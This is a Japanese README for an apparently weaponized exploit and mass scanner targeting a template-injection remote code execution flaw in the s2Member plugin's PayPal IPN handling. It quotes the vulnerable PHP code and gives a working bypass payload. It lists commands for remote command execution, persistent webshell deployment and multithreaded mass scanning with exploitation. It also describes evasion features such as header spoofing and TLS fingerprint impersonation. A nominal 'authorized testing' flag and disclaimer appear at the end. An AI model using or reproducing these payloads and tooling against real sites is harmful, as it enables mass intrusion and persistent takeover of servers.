
CVE-2026-86596(PayPal IPN の item_name パラメータを介した s2Member のテンプレートインジェクション RCE)に対応する単一ファイルのエクスプロイト兼マススキャナ。バイパスバリアントとウェブシェルのデプロイ機能を備えています。
CVSS 9.8 | CVE-2026-86596 | 修正: 261001+
s2Member の item_name IPNパラメータを介したテンプレートインジェクションに対する、単一ファイルの武器化エクスプロイト&スキャナー。
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
ペイロード: <%%x%%?php system('id'); ?> → strip_php_tags_deep をバイパスし、プレースホルダのクリーンアップ後に有効な <?php へ再構築される。
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| フラグ | 説明 |
|---|---|
--cmd "id" | 実行するコマンド(または webshell 用の shell:pass) |
--scan | 一括スキャンモード(ファイルからターゲットを読み込む) |
--exploit | スキャン中にエクスプロイトを試行 |
--authorized | あらゆるエクスプロイト操作に必須 |
--recon | エクスプロイト前の完全な偵察 |
--item-number | 特定の item_number(デフォルト: 自動検出) |
--proxy-verification | s2member_paypal_proxy_verification キー |
--write-test | コマンドを実行する代わりにテストファイルを書き込む |
--deploy-shell | 永続的な webshell をデプロイ |
--shell-path | webshell のファイル名(デフォルト: shell.php) |
--full-bypass | すべてのバイパスバリアントを試行(低速) |
--no-evasion | すべてのバイパス試行を無効化 |
--threads N | スキャンスレッド数(デフォルト: 15) |
--output file | JSON/CSV を出力 |
--http-proxy | HTTP(S) プロキシ |
--impersonate | TLS フィンガープリント: chrome/firefox/safari/edge |
--insecure | TLS 検証を無効化 |
--verbose | 詳細出力 |
| レイヤー | バリアント |
|---|---|
| ペイロード | 10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| 書き込み | 4: file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| シェル | 5: eval, system, assert, b64_eval, shortcode |
| リクエスト | 5: form, multipart, dup, multipart-dup, JSON |
| ヘッダー | 7: XFF spoof, PayPal referer/origin, IPN headers, cluster |
| TLS | 4: chrome, firefox, safari, edge (curl_cffi) |
item_number(保護された投稿/ページのID)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Single weaponized exploit + scanner (384 lines)
├── README.md # This file
└── targets.txt # Example target list
許可されたテスト専用です。 --authorized フラグは書面による許可を確認するものです。